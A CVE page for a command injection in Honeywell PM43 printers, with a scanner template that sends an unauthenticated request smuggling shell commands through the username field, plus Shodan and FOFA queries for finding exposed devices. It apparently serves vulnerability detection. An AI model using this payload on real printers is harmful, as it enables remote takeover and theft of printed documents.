CVE-2023-3710: Honeywell PM43 Printers - Command Injection

2025-08-01 Honeywell PM43 Printers PoC Public

Description

Improper Input Validation vulnerability in Honeywell PM43 on 32 bit, ARM (Printer web page modules) allows Command Injection.This issue affects PM43 versions prior to P10.19.050004. Update to the latest available firmware version of the respective printers to version MR19.5 (e.g. P10.19.050006)

PoC

id: CVE-2023-3710

info:
  name: Honeywell PM43 Printers - Command Injection
  author: win3zz
  severity: critical
  description: |
    Improper Input Validation vulnerability in Honeywell PM43 on 32 bit, ARM (Printer web page modules) allows Command Injection.This issue affects PM43 versions prior to P10.19.050004. Update to the latest available firmware version of the respective printers to version MR19.5 (e.g. P10.19.050006)
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the username parameter in loadfile.lp, potentially gaining full control of Honeywell PM43 printers and intercepting print jobs containing sensitive documents.
  remediation: |
    Update Honeywell PM43 printer firmware to version P10.19.050004 (MR19.5) or later that properly sanitizes input in loadfile.lp and prevents command injection attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3710
    - https://github.com/vpxuser/CVE-2023-3710-POC
    - https://twitter.com/win3zz/status/1713451282344853634
    - https://hsmftp.honeywell.com:443/en/Software/Printers/Industrial/PM23-PM23c-PM43-PM43c/Current/Firmware/firmwaresignedP1019050004
    - https://hsmftp.honeywell.com:443/en/Software/Printers/Industrial/PM23-PM23c-PM43-PM43c/Current/Firmware/firmwarexasignedP1019050004A
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3710
    cwe-id: CWE-77,CWE-20
    epss-score: 0.4904
    epss-percentile: 0.98819
    cpe: cpe:2.3:o:honeywell:pm43_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: honeywell
    product: pm43_firmware
    shodan-query: http.html:"/main/login.lua?pageid="
    fofa-query: body="/main/login.lua?pageid="
  tags: cve2023,cve,honeywell,pm43,printer,iot,rce,vkev,intrusive,vuln

http:
  - raw:
      - |
        POST /loadfile.lp?pageid=Configure HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=x%0aid;pwd;cat+/etc/*-release%0a&userpassword=1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)'

      - type: word
        part: body
        words:
          - 'Release date'

      - type: status
        status:
          - 200
# digest: 490a00463044022028098aed8e4bc045118297163cfaa722d750b52bcd46f2a9440018c01b638d5b02202c99a1d302f1672226f2cd7deafff90d57bc68bc5fcc8465e3f5a0fd455735cf:922c64590222798bb761d5b6d8e72950

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